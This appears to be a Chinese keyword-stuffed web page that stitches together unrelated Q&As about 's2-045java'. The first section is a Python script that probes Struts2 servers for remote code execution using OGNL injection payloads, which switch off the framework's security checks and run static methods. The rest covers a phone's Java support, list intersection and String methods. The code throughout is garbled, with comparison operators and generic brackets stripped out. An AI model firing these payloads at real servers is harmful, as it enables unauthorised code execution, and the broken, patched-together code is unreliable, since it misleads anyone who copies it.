关于s2-045java的信息
今天给各位分享s2-045java的知识,其中也会对进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
本文目录一览:
- 1、struts1是否会有s2-045漏洞
- 2、联想S2支持JAVA吗?
- 3、JAVA里面,怎样找出两个list中相同的元素,
- 4、java程序,假设s1,s2,s3和s4是四个字符串引用,分别对它们进行如下赋值:
struts1是否会有s2-045漏洞
Struts2远程代码执行漏洞检测检测
==============================================================
import os,sys
import httplib
import string
import time
import urlparse
def SendHTTPRequest(strMethod,strScheme,strHost,strURL,strParam):
headers = {
"Accept": "image/gif, */*",
"Referer": strScheme + "://" + strHost,
"Accept-Language": "zh-cn",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Host": strHost,
"Connection": "Keep-Alive",
"Cache-Control": "no-cache"
}
strRet=""
time_inter=0
try:
time1=0
time2=0
time1=time.time() * 1000
if strScheme.upper()=="HTTPS":
con2 = httplib.HTTPSConnection(strHost)
else:
con2 = httplib.HTTPConnection(strHost)
if strMethod.upper()=="POST":
con2.request(method="POST",url= strURL, body=strParam, headers=headers)
else:
con2.request(method="GET",url= strURL, headers=headers)
r2 = con2.getresponse()
strRet= r2.read().strip()
time2=time.time() * 1000
time_inter=time2-time1
con2.close
except BaseException,e:
print e
con2.close
return (time_inter,strRet)
def RunTest1(strScheme,strHost,strURL):
payload1="""('\\43_memberAccess.allowStaticMethodAccess')(a)=true(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))(d)(('@java.lang.Thread@sleep(8000)')(d))"""
(inter1,html1)=SendHTTPRequest("GET",strScheme,strHost,strURL,"")
(inter2,html2)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)
if (inter2 - inter1)6000:
return True
else:
return False
def RunTest2(strScheme,strHost,strURL):
payload1="""('\\43_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true(aaa)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(d))('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))(asdf)(('\\43rp\\75@org.apache.struts2.ServletActionContext@getResponse()')(c))(fgd)(('\\43rp.getWriter().print("struts2-security")')(d))(fgd)(grgr)(('\\43rp.getWriter().close()')(d))=1"""
(inter1,html1)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)
if html1.find("struts2-security")=0:
return True
else:
return False
def RunTests(strURL):
t_url=urlparse.urlparse(strURL)
strScheme=t_url.scheme
strHost = t_url.netloc
strURL1 = t_url.path
print "Checking " + strURL
if RunTest2(strScheme,strHost,strURL1):
print "Vulnerable!"
return True
elif RunTest1(strScheme,strHost,strURL1):
print "Vulnerable!"
return True
else:
print "Secure."
return False
if __name__ == "__main__":
if len(sys.argv)!=2:
print "INVALID ARGUMENTS."
print "USAGE : python struts_scan.py http(s)://target.url"
exit()
m_URL=sys.argv[1]
RunTests(m_URL)
联想S2支持JAVA吗?
很抱歉,S2-38AHO手机本身是不支持java功能的,如果你确实有需要的话,建议你到网页端下载适合S2-38AHO机型的java模拟器使用
如果我们提供的技术方案有效,请您选择采纳为有效答案以便供其它用户参考,感谢。
JAVA里面,怎样找出两个list中相同的元素,
循环取出list1的元素,然后循环和list2中的元素进行比较,如果相等就输出该元素。代码如下:
import java.util.ArrayList;
import java.util.List;
public class Test {
public static void main(String[] args) {
ListInteger list1 = new ArrayListInteger();
ListInteger list2 = new ArrayListInteger();
list1.add(2);
list1.add(3);
list1.add(5);
list2.add(2);
list2.add(5);
list2.add(6);
list2.add(8);
for(int i = 0; i list1.size();i++){
int temp = list1.get(i);
for(int j = 0; j list2.size();j++){
if(temp == list2.get(j)){
System.out.println("有相同的元素: " + temp);
}
}
}
}
}
java程序,假设s1,s2,s3和s4是四个字符串引用,分别对它们进行如下赋值:
public class Test {
public static void main(String[] args) {
String s1="Welcome to java";
String s2=s1;
String s3=new String("Welcome to java");
String s4=s3.intern();
System.out.println("s1=s2:" + (s1==s2));
System.out.println("s2=s3:" + (s2==s3));
System.out.println("s1.equals(s2):" + s1.equals(s2));
System.out.println("s2.equals(s3):" + s2.equals(s3));
System.out.println("s1.compareTo(s2):" + s1.compareTo(s2));
System.out.println("s2.compareTo(s3) :" + s2.compareTo(s3));
System.out.println("s1==s4:" + (s1==s4));
System.out.println("s1.charAt(0) :" + s1.charAt(0) );
System.out.println("s1.indexOf('j') :" + s1.indexOf('j') );
System.out.println("s1.indexOf('to'):" + s1.indexOf("to"));
System.out.println("s1.lastindexOf('j') :" + s1.lastIndexOf("j"));
System.out.println("s1.lastindexOf(\"o\",15):" + s1.lastIndexOf("o",15));
System.out.println("s1.length():" + s1.length());
System.out.println("s1.subString(5):" + s1.substring(5));
System.out.println("s1.SubString(5,11):" + s1.substring(5,11));
System.out.println("s1.startsWith(\"wel\"):" + s1.startsWith("wel"));
System.out.println("s1.endsWith(\"java\"):" + s1.endsWith("java"));
System.out.println("s1.toLowerCase():" + s1.toLowerCase());
System.out.println("s1.toUpperCase():" + s1.toUpperCase());
System.out.println("\" Welcome \".trim():" + " Welcome ".trim());
System.out.println("s1.replace('o','T'):" + s1.replace('o','T'));
System.out.println("s1.replaceAll(\"o\",\"T\"):" + s1.replaceAll("o","T"));
System.out.println("s1.replaceFirst(\"o\",\"T\"):" + s1.replaceFirst("o","T"));
System.out.println("s1.toCharArray():" + s1.toCharArray());
}
}
s2-045java的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于、s2-045java的信息别忘了在本站进行查找喔。